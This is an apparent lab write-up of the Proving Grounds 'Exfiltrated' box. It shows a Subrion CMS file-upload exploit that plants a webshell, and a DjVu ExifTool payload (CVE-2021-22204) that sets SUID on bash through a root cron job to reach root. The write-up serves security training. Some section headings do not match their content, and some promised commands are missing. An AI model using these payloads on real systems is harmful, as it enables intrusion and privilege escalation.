Target: Linux

Proving Grounds: Exfiltrated

This lab demonstrates exploiting an authenticated file upload bypass vulnerability in Subrion CMS 4.2.1 to achieve remote code execution. Learners will escalate privileges by leveraging a root cron job that executes ExifTool against uploaded images, exploiting a vulnerability (CVE-2021-22204) in the DjVu file format. The lab emphasizes web application exploitation, cron job abuse, and privilege escalation through malicious file uploads.

Proving GroundsAuthorized lab writeupCybersecurity portfolio

Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.

In this lab, we will exploit the target through an authenticated file upload bypass vulnerability in Subrion CMS that leads to remote code execution. We will then exploit a root cron job via a script running exiftool every minute.

Scenario

This lab demonstrates exploiting an authenticated file upload bypass vulnerability in Subrion CMS 4.2.1 to achieve remote code execution. Learners will escalate privileges by leveraging a root cron job that executes ExifTool against uploaded images, exploiting a vulnerability (CVE-2021-22204) in the DjVu file format. The lab emphasizes web application exploitation, cron job abuse, and privilege escalation through malicious file uploads.

Learning objectives

After completion of this lab, learners will be able to:

Initial Access

Since Python was not installed on the target, we explored alternative methods to achieve a stable interactive shell. The socat binary was present, allowing us to upgrade from a simple reverse shell to a fully interactive TTY.

On the attacker machine, we started a listener:

On the target machine, we executed the following command:

Privilege Escalation

This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.

# Map exposed services and versions on the target.

└─$ nmap -sC -sV -p- 192.168.206.163
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-10 17:23 -0400
Nmap scan report for 192.168.206.163
Host is up (0.023s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c1:99:4b:95:22:25:ed:0f:85:20:d3:63:b4:48:bb:cf (RSA)
|   256 0f:44:8b:ad:ad:95:b8:22:6a:f0:36:ac:19:d0:0e:f3 (ECDSA)
|_  256 32:e1:2a:6c:cc:7c:e6:3e:23:f4:80:8d:33:ce:9b:3a (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://exfiltrated.offsec/
| http-robots.txt: 7 disallowed entries 
| /backup/ /cron/? /front/ /install/ /panel/ /tmp/ 
|_/updates/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.16 seconds

######################################################################################################################################################################################
######################################################################################################################################################################################  
(kali㉿kali)-[~/offsec/Exfilrated]
# Execute the next evidence-gathering step in the authorized lab.

└─$ sudo echo "192.168.206.163 exfilterated.offsec" >> /etc/hosts
######################################################################################################################################################################################
######################################################################################################################################################################################  

(kali㉿kali)-[~/offsec/Exfilrated]
# Execute the next evidence-gathering step in the authorized lab.

└─$ searchsploit Subrion CMS 4.2.1
--------------------------------------------------- ---------------------------------
 Exploit Title                                     |  Path
--------------------------------------------------- ---------------------------------
Subrion CMS 4.2.1 - 'avatar[path]' XSS             | php/webapps/49346.txt
Subrion CMS 4.2.1 - Arbitrary File Upload          | php/webapps/49876.py
Subrion CMS 4.2.1 - Cross Site Request Forgery (CS | php/webapps/50737.txt
Subrion CMS 4.2.1 - Cross-Site Scripting           | php/webapps/45150.txt
Subrion CMS 4.2.1 - Stored Cross-Site Scripting (X | php/webapps/51110.txt
--------------------------------------------------- ---------------------------------
Shellcodes: No Results
######################################################################################################################################################################################
######################################################################################################################################################################################  

┌──(kali㉿kali)-[~/offsec/Exfilrated]
# Execute the next evidence-gathering step in the authorized lab.

└─$ searchsploit -m 49876                                                     
  Exploit: Subrion CMS 4.2.1 - Arbitrary File Upload
      URL: https://www.exploit-db.com/exploits/49876
     Path: /usr/share/exploitdb/exploits/php/webapps/49876.py
    Codes: CVE-2018-19422
 Verified: False
File Type: Python script, ASCII text executable, with very long lines (956)
cp: overwrite '/home/kali/offsec/Exfilrated/49876.py'? Y
Copied to: /home/kali/offsec/Exfilrated/49876.py
######################################################################################################################################################################################
######################################################################################################################################################################################  
┌──(kali㉿kali)-[~/offsec/Exfilrated]
# Run the helper or analysis script used in this lab step.

└─$ python3 49876.py -u http://exfiltrated.offsec/panel/ -l 'admin' -p 'admin'
[+] SubrionCMS 4.2.1 - File Upload Bypass to RCE - CVE-2018-19422 

[+] Trying to connect to: http://exfiltrated.offsec/panel/
[+] Success!
[+] Got CSRF token: QCm5boya1XFN8hXgV2gEME2h3bFRUZGgAWyTaBFy
[+] Trying to log in...
[+] Login Successful!

[+] Generating random name for Webshell...
[+] Generated webshell name: rnnntylaiqiaazy

[+] Trying to Upload Webshell..
[+] Upload Success... Webshell path: http://exfiltrated.offsec/panel/uploads/rnnntylaiqiaazy.phar 

# Execute the next evidence-gathering step in the authorized lab.

$ ID

# Execute the next evidence-gathering step in the authorized lab.

$ id    
uid=33(www-data) gid=33(www-data) groups=33(www-data)

# Confirm the identity of the current session.

$ whoami
www-data
######################################################################################################################################################################################
######################################################################################################################################################################################

Shell Upgrade

This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.

(kali㉿kali)-[~/offsec/Exfilrated]
# Read the file contents for useful configuration or credential data.

└─$ cat exploit                
(metadata "\c${system('chmod +s /usr/bin/bash')};")

######################################################################################################################################################################################
######################################################################################################################################################################################  
(kali㉿kali)-[~/offsec/Exfilrated]
# Execute the next evidence-gathering step in the authorized lab.

└─$ djvumake exploit.djvu INFO=1,1 BGjp=/dev/null ANTa=exploit

######################################################################################################################################################################################
######################################################################################################################################################################################  
┌──(kali㉿kali)-[~/offsec/Exfilrated]
# Execute the next evidence-gathering step in the authorized lab.

└─$ mv exploit.djvu exploit.jpg

######################################################################################################################################################################################
######################################################################################################################################################################################                                              
┌──(kali㉿kali)-[~/offsec/Exfilrated]
# Run the helper or analysis script used in this lab step.

└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.206.163 - - [10/May/2026 20:09:44] "GET /exploit.jpg HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.

######################################################################################################################################################################################
######################################################################################################################################################################################  

# Execute the next evidence-gathering step in the authorized lab.

bash-5.0$ pwd
/var/www/html/subrion/uploads
# Execute the next evidence-gathering step in the authorized lab.

bash-5.0$ /usr/bin/bash -p
bash-5.0# id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
bash-5.0#

Takeaways

This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.